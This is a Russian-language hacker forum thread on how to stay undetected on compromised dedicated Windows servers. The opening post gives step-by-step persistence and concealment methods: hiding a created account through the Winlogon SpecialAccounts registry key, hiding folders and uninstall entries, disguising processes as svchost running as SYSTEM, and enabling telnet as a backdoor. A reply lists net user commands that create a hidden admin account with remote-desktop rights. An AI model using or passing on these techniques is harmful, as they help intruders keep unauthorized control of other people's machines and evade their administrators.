Скрываем свое прибывание на дедике

[f4kedude]

В этой теме я предлагаю постить\обсуждать советы по маскировке на взломанных дедиках. Ибо все мы знаем, что самое неприятное - это потерять хороший дедик, спалившись по глупости. Рано или поздно паливо приходит(плановая переустановка системы, мониторинг акков, админ захотел использовать комп под другие нужды и прочее), так давайтеж поделимся способами продления беспалевного юзанья дедика! Как топик-стартер постараюсь побольше\попонятней и самое основное написать.Вобщем вот мои 5 копеек

1) Мультиюзерность:
если ломаем winxp sp2\sp3, то сразу после создания акка (или во взломанном акке) сливаем на дедик этот патч (естественно предварительно залитый на файлообменник) и запускаем его. спросит перезагрузить вконце установки - жмем НЕТ и переходим к пункту 2 ->

2) Ныкаем свой созданный акк из вин-логона:
пуск->выполнить->пишем regedit клацаем Enter->переходим в HKEY_LOCAL_MACHINE\SOFTWARE\Mi crosoft\Windows NT\CurrentVersion\Winlogon\Spe cialAccounts\UserList и создаем там новый параметр DWORD, название параметра=название нашего акка, численное значение 0. Всё теперь в винлогоне наш ник не палицо =) . Теперь ребутим дедик, дабы активировать мультиюзерность.

3) Ныканье файлов и прог
Дабы не смущать админа новой папкой акка в документз энд сеттингс скрываем её со всеми файлами и подкаталогами (свойства -> атрибуты: ставим птичку на "скрытый" и применить). Все свои файлы можно лить на десктоп, ибо он теперь скрытый, но я бы посоветовал создать для них папку какую-нить (скажем inst) например в c:\windows\system32 и тож скрытые атрибуты ей поставить :). Есть еще способ - программка Hide Folders XP (с помощью неё можно более глубже скрыть файл, или вобще доступ к папке\файлу запретить\запоролить). Теперь насчет прог. Если установили какое\либо ПО, чтоб заныкать его от назойливых админских глаз, идём в реестр: пуск->выполнить->пишем regedit клацаем Enter->переходим в HKEY_LOCAL_MACHINE\SOFTWARE\Mi crosoft\Windows\CurrentVersion \Uninstall\ и там ищем название установленной проги трём все данные о ней :). Всё, теперь в Add or Remove programms нашей проги нету...

4) Запуск прог под админским акком или под алл юзерс
Ну во-первых кидаем нужную прогу в документз энд сеттингс\Акк админа(или, если хотите чтоб по запускалось от любого пользователя - All Users)\Главное меню\Программы\Автозапуск (можно автозапуск проги через реестр сделать), ставим скрытые атрибуты опятьже. Теперь надо как-то сныкать прогу из вин-панели и трея, а ещё желательно в процессах маскирнуть как-нить =). Для этого есть много прог (я предпочитаю PS Tray Factory, Ибо есть русский язык, легка в управлении, очень функциональна(не забываем в меню выбрать чтоб сама прога свой значек из трея и винбара скрывала!). А для сокрытия в процессах юзаем ResHacker, который позволяет переименовывать процесс, описание к нему делать, от кого запущен и т.д. (как юзать гуглите сами, небуду расписывать подробно ибодолго). Основная идея - поставить процессу проги название типа svhost, описание какого-нить системного проца и запуск от имени system.

5) ОБЩИЕ рекомендации
Низя оч сильно нагружать систему , где-то на 30-40% проца и 1\3 памяти (макс на 50-60% проца и половину памяти) ибо это будет заметно. Очень рекомендую залезть в панель управления-> инструменты админа-> службы и врубить там службу telnet (служба терминального доступа к компу), поставив ек в режим автозапуска. Даже если не умеете её юзать - потеряв ценный дедик научитесь (погуглив естессьно). Это как черный ход на комп, если парадный запечатали. (конечно заранее надо разрешить в фаерволе 23 TCP порт, если дедик с фаером работает). Также можите в службах поискать внц\радмин и вырубить (и перевести в ручной запуск, ибо в дисейбл если переведёте то как-то немного палевно, имхо). Мона ещё прошерстить группу Remote Administrator Users на наличие других хакеров на компе :) (их легко определить - обычно в их папках всякие проги для создания бот-сетей, внц-сканеры, гидры, тсс-гриндеры и прочий софт для хакка) Только осторожно - не удалите случайно легальных юзеров (я так 1 раз удалил юзера на которого был комп зареган - вот палево-то было... ).

Все указанное в моём посте можно осуществить разными способами, возможно я указал где-то самые корявые, а где-то самые лучшие, вобщем на вкус и цвет... ДА И ЕЩЕ: возможно что-то из предложенного мной бред и бессмыслица (если так, то корректируем и объясняем как лучше\правильнее, а не просто вопим "афтор, кг\ам" или "жри гавно, баян". Разумную и полезную критику я всегда поддерживал и буду поддерживать!

ЗЫ: ОТЧЕТЫ ВИРУСТОТАЛА - 1, 2, 3, 4

[lamer007]

f4kedude, cпасиба за статейку, сам писал? есть нет - то нужно ставить копирайт

[ТЕМА!!!]

если сам писал то определёно плюс

[f4kedude]

Сам... это не статейка даже яб сказал, а просто развёрнутый пост =)

[DarkHack]

ну и молодец... спасибо!

[Andrew777]

Не знал, что хп мона на мультиюзерность пропатчить. Держи плюсик за старания :)

[$Atlet$]

автору респект!!!)))

[snakezx]

молток ТС, что-то зналось,что-то нет, но в куче и более красиво,естественно приятнее лицезреть!

[C@rBoFo$$]

f4kedude ты где раньше то был со своим мануальчиком?
(плачу по дедеку)

[qvazimodka]

про хп можно никуда не лазить создаю учетку так
net user helpassistant /delete
net user helpassistant password /add
net localgroup administrators helpassistant /add
net localgroup "Remote Desktop Users" helpassistant /add
net accounts /maxpwage:unlimited
exit

[dimon878]

РЕспеКт ТЕбЕ и УваЖуХА!!!! новое узнал

[BuG_4F]

Спс , некоторых фишек не знал !

[final2]

Сообщение от C@rBoFo$$

f4kedude ты где раньше то был со своим мануальчиком?
(плачу по дедеку)

аха :( йа тоже :( автору респект!!! :)

[No4Fear]

Ну автору большое спасибо!

[Andrew777]

Чтото у меня патч на мультакк не пашет. Вроде нормально пропатчил, а когда заходит админ , меня кикает.

[f4kedude]

Сообщение от Andrew777

Чтото у меня патч на мультакк не пашет. Вроде нормально пропатчил, а когда заходит админ , меня кикает.

хм... мне тоже 1 дед в своё время попался, который мультиюзерный патч не смог "излечить". Я не стал возиться и забил на него, хотя теоретически такие деды надо после патча запускать в безопасном режиме(дабы системные файлы оригинальные не возвращал) и "ручками" менять библиотеку termsrv.dll в C:\windows\system32\dllcache на её старую версию (которая поддерживает мультиюзерность), ИМХО.

[Severe]

Хороший пост - статья. Кое что помогло в сохранении дедов. А то до этого палили часто.

[M0dul]

терь срок жизни нашых дедов рискует возрасти + для себя узнал много нового. аффтар спс за статейку)

[4yBaK]

А 2000 винда поддерживает мультиюзерность???

[Capcha]

4yBaK, Хоть виста)))))

Ааааа, давно на асечке не был, сам хотел подобную написать (((

[4yBaK]

Подскажите как???

[CooCkie]

Сообщение от 4yBaK

Подскажите как???

что тебе подсказать?

[Ctulhu]

хороша статейка +1

[Capcha]

4yBaK, win2k без мультиюзерности?? Аааа чё реал?......
)))) Чел ты сначало попробуй а потом чушь пиши

[4yBaK]

Как сделать мультиюзерность на 2000 сервере